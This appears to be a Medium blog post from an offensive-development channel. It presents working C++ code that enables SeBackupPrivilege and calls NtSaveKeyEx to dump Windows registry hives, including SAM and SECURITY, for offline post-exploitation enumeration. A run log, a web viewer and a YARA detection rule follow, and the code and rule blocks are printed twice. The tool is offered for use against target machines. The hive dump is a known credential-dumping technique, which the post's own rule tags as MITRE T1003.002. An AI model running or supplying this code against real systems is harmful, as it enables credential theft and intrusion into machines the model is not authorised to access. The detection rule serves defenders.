July 14, 2026
Registry Snapshots for Post Exploitation Enumeration
Welcome to this new Medium post, in this one I will show you rsnap, a simple tool that takes a snapshot of a Windows registry hive from a…

By S12 - 0x12Dark Development
5 min read
Welcome to this new Medium post, in this one I will show you rsnap, a simple tool that takes a snapshot of a Windows registry hive from a target machine and lets you explore it later, offline, from a clean web interface. The idea is straightforward: a small C++ client exports the hive to a single file, and a web app imports that file so you can navigate every key and value like you were sitting in front of regedit, but without ever touching the machine again
During post exploitation, the registry is one of the richest sources of information on a Windows host. It holds installed software, run keys and autostart entries, service configurations, network settings, cached credentials paths, user profiles and a lot of forensic info about how the system is used. The problem is that enumerating all of this live, key by key, is slow and noisy. Every query you run on the target is another action that a defender or an EDR can observe, and if you lose access you also lose everything you did not write down
This is where the snapshot idea helps. Instead of exploring the registry interactively on the target, we grab the hive once, pull it back to our own machine, and do all the digging offline where nobody is watching. In this post I will walk you through how rsnap works, how the C++ client exports the hive, and how the web explorer parses and displays the keys and values so you can hunt through them comfortably. Let's start by looking at what a registry hive actually is and why we can move it around like a normal file
Courses: Learn how offensive development works on Windows OS from beginner to advanced taking our courses, all explained in C++.
All Courses Learn how real Windows offensive development works
Technique Database: Access 70+ real offensive techniques with weekly updates, complete with code, PoCs, and AV scan results:
Malware Techniques Database Explore an ever-growing collection of techniques
Modules: Dive deep into essential offensive topics with our modular text-training program! Get a new module every 14 days. Start at just $1.99 per module, or unlock lifetime access to all modules for $100.
0x12 Dark Development Learn the best offensive techniques for Windows OS, with content ranging from beginner to advanced levels. All…
Client
The complete code of the client is simple as this:
#include <windows.h>
#include <stdio.h>
typedef LONG NTSTATUS;
typedef NTSTATUS(NTAPI* fnNtSaveKeyEx)(HANDLE, HANDLE, ULONG);
#define NT_SUCCESS(s) ((s) >= 0)
#define REG_LATEST_FMT 2
static BOOL EnableBackupPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp = {};
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return FALSE;
LookupPrivilegeValueW(NULL, SE_BACKUP_NAME, &tp.Privileges[0].Luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL ok = AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL)
&& GetLastError() == ERROR_SUCCESS;
CloseHandle(hToken);
return ok;
}
// subKey : e.g. L"SYSTEM", L"SOFTWARE", L"SAM", L"SECURITY"
BOOL DumpHive(LPCWSTR subKey, LPCWSTR outPath)
{
fnNtSaveKeyEx NtSaveKeyEx = (fnNtSaveKeyEx)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "NtSaveKeyEx");
if (!NtSaveKeyEx)
{
wprintf(L"[-] NtSaveKeyEx not found\n");
return FALSE;
}
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, subKey, 0,
KEY_READ, &hKey) != ERROR_SUCCESS)
{
wprintf(L"[-] RegOpenKeyEx failed for %s (err %lu)\n",
subKey, GetLastError());
return FALSE;
}
HANDLE hFile = CreateFileW(outPath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
wprintf(L"[-] CreateFile failed for %s (err %lu)\n",
outPath, GetLastError());
RegCloseKey(hKey);
return FALSE;
}
NTSTATUS st = NtSaveKeyEx(hKey, hFile, REG_LATEST_FMT);
CloseHandle(hFile);
RegCloseKey(hKey);
if (!NT_SUCCESS(st))
{
DeleteFileW(outPath);
wprintf(L"[-] NtSaveKeyEx failed (NTSTATUS 0x%08lX)\n", st);
return FALSE;
}
return TRUE;
}
int wmain(){
if (!EnableBackupPrivilege())
{
wprintf(L"[-] SeBackupPrivilege failed — run as admin\n");
return 1;
}
CreateDirectoryW(L"C:\\snap", NULL);
struct { LPCWSTR key; LPCWSTR path; } targets[] =
{
{ L"SYSTEM", L"C:\\snap\\SYSTEM.hiv" },
{ L"SOFTWARE", L"C:\\snap\\SOFTWARE.hiv" },
{ L"SAM", L"C:\\snap\\SAM.hiv" },
{ L"SECURITY", L"C:\\snap\\SECURITY.hiv" },
};
/* for (int i = 0; i < 4; i++)
{
BOOL ok = DumpHive(targets[i].key, targets[i].path);
}*/
BOOL ok = DumpHive(targets[0].key, targets[0].path);
return 0;
}#include <windows.h>
#include <stdio.h>
typedef LONG NTSTATUS;
typedef NTSTATUS(NTAPI* fnNtSaveKeyEx)(HANDLE, HANDLE, ULONG);
#define NT_SUCCESS(s) ((s) >= 0)
#define REG_LATEST_FMT 2
static BOOL EnableBackupPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp = {};
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return FALSE;
LookupPrivilegeValueW(NULL, SE_BACKUP_NAME, &tp.Privileges[0].Luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL ok = AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL)
&& GetLastError() == ERROR_SUCCESS;
CloseHandle(hToken);
return ok;
}
// subKey : e.g. L"SYSTEM", L"SOFTWARE", L"SAM", L"SECURITY"
BOOL DumpHive(LPCWSTR subKey, LPCWSTR outPath)
{
fnNtSaveKeyEx NtSaveKeyEx = (fnNtSaveKeyEx)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "NtSaveKeyEx");
if (!NtSaveKeyEx)
{
wprintf(L"[-] NtSaveKeyEx not found\n");
return FALSE;
}
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, subKey, 0,
KEY_READ, &hKey) != ERROR_SUCCESS)
{
wprintf(L"[-] RegOpenKeyEx failed for %s (err %lu)\n",
subKey, GetLastError());
return FALSE;
}
HANDLE hFile = CreateFileW(outPath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
wprintf(L"[-] CreateFile failed for %s (err %lu)\n",
outPath, GetLastError());
RegCloseKey(hKey);
return FALSE;
}
NTSTATUS st = NtSaveKeyEx(hKey, hFile, REG_LATEST_FMT);
CloseHandle(hFile);
RegCloseKey(hKey);
if (!NT_SUCCESS(st))
{
DeleteFileW(outPath);
wprintf(L"[-] NtSaveKeyEx failed (NTSTATUS 0x%08lX)\n", st);
return FALSE;
}
return TRUE;
}
int wmain(){
if (!EnableBackupPrivilege())
{
wprintf(L"[-] SeBackupPrivilege failed — run as admin\n");
return 1;
}
CreateDirectoryW(L"C:\\snap", NULL);
struct { LPCWSTR key; LPCWSTR path; } targets[] =
{
{ L"SYSTEM", L"C:\\snap\\SYSTEM.hiv" },
{ L"SOFTWARE", L"C:\\snap\\SOFTWARE.hiv" },
{ L"SAM", L"C:\\snap\\SAM.hiv" },
{ L"SECURITY", L"C:\\snap\\SECURITY.hiv" },
};
/* for (int i = 0; i < 4; i++)
{
BOOL ok = DumpHive(targets[i].key, targets[i].path);
}*/
BOOL ok = DumpHive(targets[0].key, targets[0].path);
return 0;
}The client does three things in order: enable a privilege, open the registry key, and call a single native function to dump everything to disk
The first step is SeBackupPrivilege. Without it, Windows will block you from reading protected hives like SAM or SECURITY even if you are running as Administrator. AdjustTokenPrivileges enables it on the current process token before we touch the registry at all. Then we open the target key with RegOpenKeyExW and create an empty output file with CreateFileW. At this point we have two handles: one to the registry key, one to the file on disk
The interesting part is NtSaveKeyEx. This is an undocumented Native API exported by ntdll.dll, so we resolve it manually with GetProcAddress instead of linking it directly. It takes three parameters:
- KeyHandle: a handle to the registry key you want to dump. This is the key we just opened. The function will save that key and every subkey and value under it recursively
- FileHandle: a handle to the output file. The function writes the hive data directly into this file in the native Windows hive binary format, the same format that
regeditexports. - Format: we pass
REG_LATEST_FMT(value2), which tells Windows to write the hive using the latest format version
One call to NtSaveKeyEx and the entire hive tree lands in a single portable file. That file is a self contained snapshot you can take anywhere and parse offline, which is exactly what the web explorer does on the other side
Proof of Concept
We run the .exe:
C:\Users\s12de\RegistryHiveSnapshot\x64\Release>RegistryHiveSnapshot.exe
Dumped ;)C:\Users\s12de\RegistryHiveSnapshot\x64\Release>RegistryHiveSnapshot.exe
Dumped ;)Web
Then just:
cd registry-viewer
npm install
npm run devcd registry-viewer
npm install
npm run devAnd there is the whole hive:
Detection
0x12DarkSandbox
Test your own payloads against the same stack with a free scan on sign up, or go deeper with a scan pack or monthly plan
Upload & Scan Upload malware samples for parallel analysis across isolated Windows VMs with multi-engine AV scanning
Result:
Results Job #222 Cloud-based malware analysis and execution telemetry platform
YARA
Here a YARA rule to detect this technique:
rule RegistryHiveDump_Enumeration
{
meta:
author = "0x12 Dark Development"
description = "Detects binaries that dynamically resolve NtSaveKeyEx or related APIs to dump Windows registry hives. Commonly used in post-exploitation for credential access and offline registry enumeration."
reference = "https://medium.com/@s12deff"
mitre = "T1003.002 - OS Credential Dumping: Security Account Manager"
date = "2025-07-14"
strings:
// Core technique — NtSaveKeyEx must appear as a string because
// it is resolved dynamically via GetProcAddress at runtime
$ntsavekeyex = "NtSaveKeyEx" ascii wide
// Fallback save APIs that can be abused the same way
$regsavekeyex = "RegSaveKeyEx" ascii wide
$regsavekey = "RegSaveKey" ascii wide
// SeBackupPrivilege is required to read SAM and SECURITY hives
$backup_priv1 = "SeBackupPrivilege" ascii wide
$backup_priv2 = "SE_BACKUP_NAME" ascii wide
// Native loader used to resolve the undocumented API manually
$ntdll = "ntdll.dll" ascii wide nocase
// Token privilege manipulation required before the dump
$adj_token = "AdjustTokenPrivileges" ascii
// Common high-value hive targets
$hive_sam = "SAM" ascii wide
$hive_security = "SECURITY" ascii wide
$hive_system = "SYSTEM" ascii wide
$hive_software = "SOFTWARE" ascii wide
// Output file extensions for exported hive files
$ext_hiv = ".hiv" ascii wide nocase
$ext_hive = ".hive" ascii wide nocase
condition:
// Must be a PE file
uint16(0) == 0x5A4D and
filesize < 5MB and
(
// Scenario A: undocumented NtSaveKeyEx path
// String present for GetProcAddress + ntdll + privilege setup
(
$ntsavekeyex and
$ntdll and
( $backup_priv1 or $backup_priv2 )
)
or
// Scenario B: documented API path with deliberate privilege abuse
// RegSaveKey/RegSaveKeyEx + AdjustTokenPrivileges + targeting protected hives
(
( $regsavekeyex or $regsavekey ) and
$adj_token and
( $backup_priv1 or $backup_priv2 ) and
2 of ( $hive_sam, $hive_security, $hive_system, $hive_software )
)
) and
// At least one hive output indicator or two targeted hive names
(
( $ext_hiv or $ext_hive ) or
2 of ( $hive_sam, $hive_security, $hive_system, $hive_software )
)
}rule RegistryHiveDump_Enumeration
{
meta:
author = "0x12 Dark Development"
description = "Detects binaries that dynamically resolve NtSaveKeyEx or related APIs to dump Windows registry hives. Commonly used in post-exploitation for credential access and offline registry enumeration."
reference = "https://medium.com/@s12deff"
mitre = "T1003.002 - OS Credential Dumping: Security Account Manager"
date = "2025-07-14"
strings:
// Core technique — NtSaveKeyEx must appear as a string because
// it is resolved dynamically via GetProcAddress at runtime
$ntsavekeyex = "NtSaveKeyEx" ascii wide
// Fallback save APIs that can be abused the same way
$regsavekeyex = "RegSaveKeyEx" ascii wide
$regsavekey = "RegSaveKey" ascii wide
// SeBackupPrivilege is required to read SAM and SECURITY hives
$backup_priv1 = "SeBackupPrivilege" ascii wide
$backup_priv2 = "SE_BACKUP_NAME" ascii wide
// Native loader used to resolve the undocumented API manually
$ntdll = "ntdll.dll" ascii wide nocase
// Token privilege manipulation required before the dump
$adj_token = "AdjustTokenPrivileges" ascii
// Common high-value hive targets
$hive_sam = "SAM" ascii wide
$hive_security = "SECURITY" ascii wide
$hive_system = "SYSTEM" ascii wide
$hive_software = "SOFTWARE" ascii wide
// Output file extensions for exported hive files
$ext_hiv = ".hiv" ascii wide nocase
$ext_hive = ".hive" ascii wide nocase
condition:
// Must be a PE file
uint16(0) == 0x5A4D and
filesize < 5MB and
(
// Scenario A: undocumented NtSaveKeyEx path
// String present for GetProcAddress + ntdll + privilege setup
(
$ntsavekeyex and
$ntdll and
( $backup_priv1 or $backup_priv2 )
)
or
// Scenario B: documented API path with deliberate privilege abuse
// RegSaveKey/RegSaveKeyEx + AdjustTokenPrivileges + targeting protected hives
(
( $regsavekeyex or $regsavekey ) and
$adj_token and
( $backup_priv1 or $backup_priv2 ) and
2 of ( $hive_sam, $hive_security, $hive_system, $hive_software )
)
) and
// At least one hive output indicator or two targeted hive names
(
( $ext_hiv or $ext_hive ) or
2 of ( $hive_sam, $hive_security, $hive_system, $hive_software )
)
}Here you have my collection of YARA rules:
GitHub — S12cybersecurity/YaraRules: Collection of interesting Yara Rules Collection of interesting Yara Rules. Contribute to S12cybersecurity/YaraRules development by creating an account on…
Conclusions
rsnap shows how a single native API call is enough to pull a complete registry snapshot off a target and analyze it entirely offline. The approach is simple, but the value during post exploitation is real: you enumerate at your own pace, without touching the machine again. Grab the code and try it
📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube
S12.